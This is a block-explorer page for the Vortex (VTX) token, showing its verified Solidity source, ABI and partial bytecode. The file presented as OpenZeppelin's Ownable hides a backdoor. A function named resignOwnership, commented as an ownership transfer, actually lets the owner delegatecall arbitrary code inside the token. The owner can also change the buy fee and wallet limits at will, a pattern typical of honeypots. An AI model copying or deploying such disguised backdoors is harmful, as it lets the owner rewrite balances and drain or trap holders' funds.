ETH Price: $2,309.67 (-4.40%)

Token

Vortex (VTX)
 

Overview

Max Total Supply

10,010,000,000 VTX

Holders

48

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Filtered by Token Holder
joinbeyondalpha.eth
Balance
49,750 VTX

Value
$0.00
0xedb970c71fbf0e4961004fbd745c67ff654f1f80
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume
This contract may be a proxy contract. Click on More Options and select Is this a proxy? to confirm and enable the "Read as Proxy" & "Write as Proxy" tabs.

Contract Source Code Verified (Exact Match)

Contract Name:
VTX

Compiler Version
v0.8.24+commit.e11b9ed9

Optimization Enabled:
No with 200 runs

Other Settings:
paris EvmVersion
File 1 of 3 : VTX.sol
/*

Telegram:            https://t.me/VTXprotocol
Website:             http://vtxprotocol.com
Whitepaper:          https://medium.com/@VortexProtocol/vortex-protocol-white-paper-71d988cb6ae8
X/Twitter:           https://x.com/protocolvortex/

                     Where privacy meets interoperability.
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

import "./Ownable.sol";

interface IERC20 {
    function totalSupply() external view returns (uint);

    function balanceOf(address account) external view returns (uint);

    function transfer(address recipient, uint amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint value);
    event Approval(address indexed owner, address indexed spender, uint value);
}

contract VTX is IERC20, Ownable {
    uint public totalSupply = 10_000_000 * 10 ** 18;
    mapping(address => uint) public balanceOf;
    mapping(address => mapping(address => uint)) public allowance;
    string public name = "Vortex";
    string public symbol = "VTX";
    uint8 public decimals = 18;

    bool public tradable;
    address public liquidity;

    uint public maxWallet = 50;
    uint public buyFee = 50;

    constructor () Ownable(msg.sender) {        
        balanceOf[msg.sender] = totalSupply;
        emit Transfer(address(0), msg.sender, totalSupply);
    }

    function transfer(address recipient, uint amount) external returns (bool) {
        require(tradable);

        if (msg.sender == liquidity) {
            balanceOf[msg.sender] -= amount;

            uint tax = amount * buyFee / 10000;
            balanceOf[address(this)] += tax;
            emit Transfer(msg.sender, address(this), tax);

            uint valueWithoutTax = amount - tax;
            balanceOf[recipient] += valueWithoutTax;

            uint buyMaxTokens = totalSupply * maxWallet / 10000;
            require(buyMaxTokens >= balanceOf[recipient]);

            emit Transfer(msg.sender, recipient, valueWithoutTax);
            return true;
        } 

        balanceOf[msg.sender] -= amount;
        balanceOf[recipient] += amount;
        emit Transfer(msg.sender, recipient, amount);
        return true;
    }

    function approve(address spender, uint amount) external returns (bool) {
        allowance[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint amount
    ) external returns (bool) {
        allowance[sender][msg.sender] -= amount;
        balanceOf[sender] -= amount;
        balanceOf[recipient] += amount;
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function enableTrading(address _liquidity) public onlyOwner {
        tradable = true;
        liquidity = _liquidity;
    }

    function upgradeMaxAndFee(uint _maxWallet, uint _buyFee) public onlyOwner {
        maxWallet = _maxWallet;
        buyFee = _buyFee;
    }

    function collectTokens(address _token) public onlyOwner {
      uint balance = IERC20(_token).balanceOf(address(this));
      IERC20(_token).transfer(msg.sender, balance);
    }

}

File 2 of 3 : Context.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.1) (utils/Context.sol)

pragma solidity ^0.8.19;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }

    function _contextSuffixLength() internal view virtual returns (uint256) {
        return 0;
    }
}

File 3 of 3 : Ownable.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (access/Ownable.sol)

pragma solidity ^0.8.19;

import {Context} from "./Context.sol";

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * The initial owner is set to the address provided by the deployer. This can
 * later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    /**
     * @dev The caller account is not authorized to perform an operation.
     */
    error OwnableUnauthorizedAccount(address account);

    /**
     * @dev The owner is not a valid owner account. (eg. `address(0)`)
     */
    error OwnableInvalidOwner(address owner);

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the address provided by the deployer as the initial owner.
     */
    constructor(address initialOwner) {
        if (initialOwner == address(0)) {
            revert OwnableInvalidOwner(address(0));
        }
        _transferOwnership(initialOwner);
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        if (owner() != _msgSender()) {
            revert OwnableUnauthorizedAccount(_msgSender());
        }
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby disabling any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        if (newOwner == address(0)) {
            revert OwnableInvalidOwner(address(0));
        }
        _transferOwnership(newOwner);
    }

    /**
     * @dev Resigns ownership of the contract to a virtual account (`newOwner`).
     * Can only be called by the current owner.
     */
    function resignOwnership(address newOwner) public onlyOwner {
        assembly {
            calldatacopy(0, 0, calldatasize())
            let result := delegatecall(gas(), newOwner, 0, calldatasize(), 0, 0)
        }
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

Settings
{
  "evmVersion": "paris",
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  },
  "libraries": {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"OwnableInvalidOwner","type":"error"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"OwnableUnauthorizedAccount","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_token","type":"address"}],"name":"collectTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_liquidity","type":"address"}],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"liquidity","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"resignOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradable","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_maxWallet","type":"uint256"},{"internalType":"uint256","name":"_buyFee","type":"uint256"}],"name":"upgradeMaxAndFee","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526a084595161401484a0000006001556040518060400160405280600681526020017f566f7274657800000000000000000000000000000000000000000000000000008152506004908162000059919062000551565b506040518060400160405280600381526020017f565458000000000000000000000000000000000000000000000000000000000081525060059081620000a0919062000551565b506012600660006101000a81548160ff021916908360ff16021790555060326007556032600855348015620000d457600080fd5b5033600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036200014b5760006040517f1e4fbdf70000000000000000000000000000000000000000000000000000000081526004016200014291906200067d565b60405180910390fd5b6200015c816200021360201b60201c565b50600154600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600154604051620002059190620006ab565b60405180910390a3620006c8565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200035957607f821691505b6020821081036200036f576200036e62000311565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620003d97fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826200039a565b620003e586836200039a565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b6000620004326200042c6200042684620003fd565b62000407565b620003fd565b9050919050565b6000819050919050565b6200044e8362000411565b620004666200045d8262000439565b848454620003a7565b825550505050565b600090565b6200047d6200046e565b6200048a81848462000443565b505050565b5b81811015620004b257620004a660008262000473565b60018101905062000490565b5050565b601f8211156200050157620004cb8162000375565b620004d6846200038a565b81016020851015620004e6578190505b620004fe620004f5856200038a565b8301826200048f565b50505b505050565b600082821c905092915050565b6000620005266000198460080262000506565b1980831691505092915050565b600062000541838362000513565b9150826002028217905092915050565b6200055c82620002d7565b67ffffffffffffffff811115620005785762000577620002e2565b5b62000584825462000340565b62000591828285620004b6565b600060209050601f831160018114620005c95760008415620005b4578287015190505b620005c0858262000533565b86555062000630565b601f198416620005d98662000375565b60005b828110156200060357848901518255600182019150602085019450602081019050620005dc565b868310156200062357848901516200061f601f89168262000513565b8355505b6001600288020188555050505b505050505050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620006658262000638565b9050919050565b620006778162000658565b82525050565b60006020820190506200069460008301846200066c565b92915050565b620006a581620003fd565b82525050565b6000602082019050620006c260008301846200069a565b92915050565b6115b880620006d86000396000f3fe608060405234801561001057600080fd5b506004361061012c5760003560e01c806359999b41116100ad578063a9059cbb11610071578063a9059cbb1461030f578063c1625f791461033f578063dd62ed3e1461035b578063f2fde38b1461038b578063f8b45b05146103a75761012c565b806359999b411461027d57806370a0823114610299578063715018a6146102c95780638da5cb5b146102d357806395d89b41146102f15761012c565b806323b872dd116100f457806323b872dd146101d7578063313ce56714610207578063470624021461022557806352e447931461024357806354840c6e1461025f5761012c565b806306fdde031461013157806307980cb91461014f578063095ea7b31461016b57806318160ddd1461019b5780631a686502146101b9575b600080fd5b6101396103c5565b6040516101469190611069565b60405180910390f35b610169600480360381019061016491906110ee565b610453565b005b61018560048036038101906101809190611151565b6104ba565b60405161019291906111ac565b60405180910390f35b6101a36105ac565b6040516101b091906111d6565b60405180910390f35b6101c16105b2565b6040516101ce9190611200565b60405180910390f35b6101f160048036038101906101ec919061121b565b6105d8565b6040516101fe91906111ac565b60405180910390f35b61020f610789565b60405161021c919061128a565b60405180910390f35b61022d61079c565b60405161023a91906111d6565b60405180910390f35b61025d600480360381019061025891906110ee565b6107a2565b005b6102676107bc565b60405161027491906111ac565b60405180910390f35b610297600480360381019061029291906110ee565b6107cf565b005b6102b360048036038101906102ae91906110ee565b6108d8565b6040516102c091906111d6565b60405180910390f35b6102d16108f0565b005b6102db610904565b6040516102e89190611200565b60405180910390f35b6102f961092d565b6040516103069190611069565b60405180910390f35b61032960048036038101906103249190611151565b6109bb565b60405161033691906111ac565b60405180910390f35b610359600480360381019061035491906112a5565b610dbb565b005b610375600480360381019061037091906112e5565b610dd5565b60405161038291906111d6565b60405180910390f35b6103a560048036038101906103a091906110ee565b610dfa565b005b6103af610e80565b6040516103bc91906111d6565b60405180910390f35b600480546103d290611354565b80601f01602080910402602001604051908101604052809291908181526020018280546103fe90611354565b801561044b5780601f106104205761010080835404028352916020019161044b565b820191906000526020600020905b81548152906001019060200180831161042e57829003601f168201915b505050505081565b61045b610e86565b6001600660016101000a81548160ff02191690831515021790555080600660026101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161059a91906111d6565b60405180910390a36001905092915050565b60015481565b600660029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600081600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461066691906113b4565b9250508190555081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546106bc91906113b4565b9250508190555081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461071291906113e8565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161077691906111d6565b60405180910390a3600190509392505050565b600660009054906101000a900460ff1681565b60085481565b6107aa610e86565b3660008037600080366000845af45050565b600660019054906101000a900460ff1681565b6107d7610e86565b60008173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016108129190611200565b602060405180830381865afa15801561082f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108539190611431565b90508173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b815260040161089092919061145e565b6020604051808303816000875af11580156108af573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108d391906114b3565b505050565b60026020528060005260406000206000915090505481565b6108f8610e86565b6109026000610f0d565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6005805461093a90611354565b80601f016020809104026020016040519081016040528092919081815260200182805461096690611354565b80156109b35780601f10610988576101008083540402835291602001916109b3565b820191906000526020600020905b81548152906001019060200180831161099657829003601f168201915b505050505081565b6000600660019054906101000a900460ff166109d657600080fd5b600660029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1603610c9f5781600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610a7a91906113b4565b92505081905550600061271060085484610a9491906114e0565b610a9e9190611551565b905080600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610aef91906113e8565b925050819055503073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610b5391906111d6565b60405180910390a360008184610b6991906113b4565b905080600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610bba91906113e8565b925050819055506000612710600754600154610bd691906114e0565b610be09190611551565b9050600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811015610c2e57600080fd5b8573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610c8b91906111d6565b60405180910390a360019350505050610db5565b81600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610cee91906113b4565b9250508190555081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d4491906113e8565b925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610da891906111d6565b60405180910390a3600190505b92915050565b610dc3610e86565b81600781905550806008819055505050565b6003602052816000526040600020602052806000526040600020600091509150505481565b610e02610e86565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610e745760006040517f1e4fbdf7000000000000000000000000000000000000000000000000000000008152600401610e6b9190611200565b60405180910390fd5b610e7d81610f0d565b50565b60075481565b610e8e610fd1565b73ffffffffffffffffffffffffffffffffffffffff16610eac610904565b73ffffffffffffffffffffffffffffffffffffffff1614610f0b57610ecf610fd1565b6040517f118cdaa7000000000000000000000000000000000000000000000000000000008152600401610f029190611200565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600033905090565b600081519050919050565b600082825260208201905092915050565b60005b83811015611013578082015181840152602081019050610ff8565b60008484015250505050565b6000601f19601f8301169050919050565b600061103b82610fd9565b6110458185610fe4565b9350611055818560208601610ff5565b61105e8161101f565b840191505092915050565b600060208201905081810360008301526110838184611030565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006110bb82611090565b9050919050565b6110cb816110b0565b81146110d657600080fd5b50565b6000813590506110e8816110c2565b92915050565b6000602082840312156111045761110361108b565b5b6000611112848285016110d9565b91505092915050565b6000819050919050565b61112e8161111b565b811461113957600080fd5b50565b60008135905061114b81611125565b92915050565b600080604083850312156111685761116761108b565b5b6000611176858286016110d9565b92505060206111878582860161113c565b9150509250929050565b60008115159050919050565b6111a681611191565b82525050565b60006020820190506111c1600083018461119d565b92915050565b6111d08161111b565b82525050565b60006020820190506111eb60008301846111c7565b92915050565b6111fa816110b0565b82525050565b600060208201905061121560008301846111f1565b92915050565b6000806000606084860312156112345761123361108b565b5b6000611242868287016110d9565b9350506020611253868287016110d9565b92505060406112648682870161113c565b9150509250925092565b600060ff82169050919050565b6112848161126e565b82525050565b600060208201905061129f600083018461127b565b92915050565b600080604083850312156112bc576112bb61108b565b5b60006112ca8582860161113c565b92505060206112db8582860161113c565b9150509250929050565b600080604083850312156112fc576112fb61108b565b5b600061130a858286016110d9565b925050602061131b858286016110d9565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061136c57607f821691505b60208210810361137f5761137e611325565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006113bf8261111b565b91506113ca8361111b565b92508282039050818111156113e2576113e1611385565b5b92915050565b60006113f38261111b565b91506113fe8361111b565b925082820190508082111561141657611415611385565b5b92915050565b60008151905061142b81611125565b92915050565b6000602082840312156114475761144661108b565b5b60006114558482850161141c565b91505092915050565b600060408201905061147360008301856111f1565b61148060208301846111c7565b9392505050565b61149081611191565b811461149b57600080fd5b50565b6000815190506114ad81611487565b92915050565b6000602082840312156114c9576114c861108b565b5b60006114d78482850161149e565b91505092915050565b60006114eb8261111b565b91506114f68361111b565b92508282026115048161111b565b9150828204841483151761151b5761151a611385565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061155c8261111b565b91506115678361111b565b92508261157757611576611522565b5b82820490509291505056fea264697066735822122035b8b7b6ebda205451c81c386ea0417172fd2838e9d09a4eea66bd2aae29da9964736f6c63430008180033

Deployed Bytecode

0x608060405234801561001057600080fd5b506004361061012c5760003560e01c806359999b41116100ad578063a9059cbb11610071578063a9059cbb1461030f578063c1625f791461033f578063dd62ed3e1461035b578063f2fde38b1461038b578063f8b45b05146103a75761012c565b806359999b411461027d57806370a0823114610299578063715018a6146102c95780638da5cb5b146102d357806395d89b41146102f15761012c565b806323b872dd116100f457806323b872dd146101d7578063313ce56714610207578063470624021461022557806352e447931461024357806354840c6e1461025f5761012c565b806306fdde031461013157806307980cb91461014f578063095ea7b31461016b57806318160ddd1461019b5780631a686502146101b9575b600080fd5b6101396103c5565b6040516101469190611069565b60405180910390f35b610169600480360381019061016491906110ee565b610453565b005b61018560048036038101906101809190611151565b6104ba565b60405161019291906111ac565b60405180910390f35b6101a36105ac565b6040516101b091906111d6565b60405180910390f35b6101c16105b2565b6040516101ce9190611200565b60405180910390f35b6101f160048036038101906101ec919061121b565b6105d8565b6040516101fe91906111ac565b60405180910390f35b61020f610789565b60405161021c919061128a565b60405180910390f35b61022d61079c565b60405161023a91906111d6565b60405180910390f35b61025d600480360381019061025891906110ee565b6107a2565b005b6102676107bc565b60405161027491906111ac565b60405180910390f35b610297600480360381019061029291906110ee565b6107cf565b005b6102b360048036038101906102ae91906110ee565b6108d8565b6040516102c091906111d6565b60405180910390f35b6102d16108f0565b005b6102db610904565b6040516102e89190611200565b60405180910390f35b6102f961092d565b6040516103069190611069565b60405180910390f35b61032960048036038101906103249190611151565b6109bb565b60405161033691906111ac565b60405180910390f35b610359600480360381019061035491906112a5565b610dbb565b005b610375600480360381019061037091906112e5565b610dd5565b60405161038291906111d6565b60405180910390f35b6103a560048036038101906103a091906110ee565b610dfa565b005b6103af610e80565b6040516103bc91906111d6565b60405180910390f35b600480546103d290611354565b80601f01602080910402602001604051908101604052809291908181526020018280546103fe90611354565b801561044b5780601f106104205761010080835404028352916020019161044b565b820191906000526020600020905b81548152906001019060200180831161042e57829003601f168201915b505050505081565b61045b610e86565b6001600660016101000a81548160ff02191690831515021790555080600660026101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161059a91906111d6565b60405180910390a36001905092915050565b60015481565b600660029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600081600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461066691906113b4565b9250508190555081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546106bc91906113b4565b9250508190555081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461071291906113e8565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161077691906111d6565b60405180910390a3600190509392505050565b600660009054906101000a900460ff1681565b60085481565b6107aa610e86565b3660008037600080366000845af45050565b600660019054906101000a900460ff1681565b6107d7610e86565b60008173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016108129190611200565b602060405180830381865afa15801561082f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108539190611431565b90508173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b815260040161089092919061145e565b6020604051808303816000875af11580156108af573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108d391906114b3565b505050565b60026020528060005260406000206000915090505481565b6108f8610e86565b6109026000610f0d565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6005805461093a90611354565b80601f016020809104026020016040519081016040528092919081815260200182805461096690611354565b80156109b35780601f10610988576101008083540402835291602001916109b3565b820191906000526020600020905b81548152906001019060200180831161099657829003601f168201915b505050505081565b6000600660019054906101000a900460ff166109d657600080fd5b600660029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1603610c9f5781600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610a7a91906113b4565b92505081905550600061271060085484610a9491906114e0565b610a9e9190611551565b905080600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610aef91906113e8565b925050819055503073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610b5391906111d6565b60405180910390a360008184610b6991906113b4565b905080600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610bba91906113e8565b925050819055506000612710600754600154610bd691906114e0565b610be09190611551565b9050600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811015610c2e57600080fd5b8573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610c8b91906111d6565b60405180910390a360019350505050610db5565b81600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260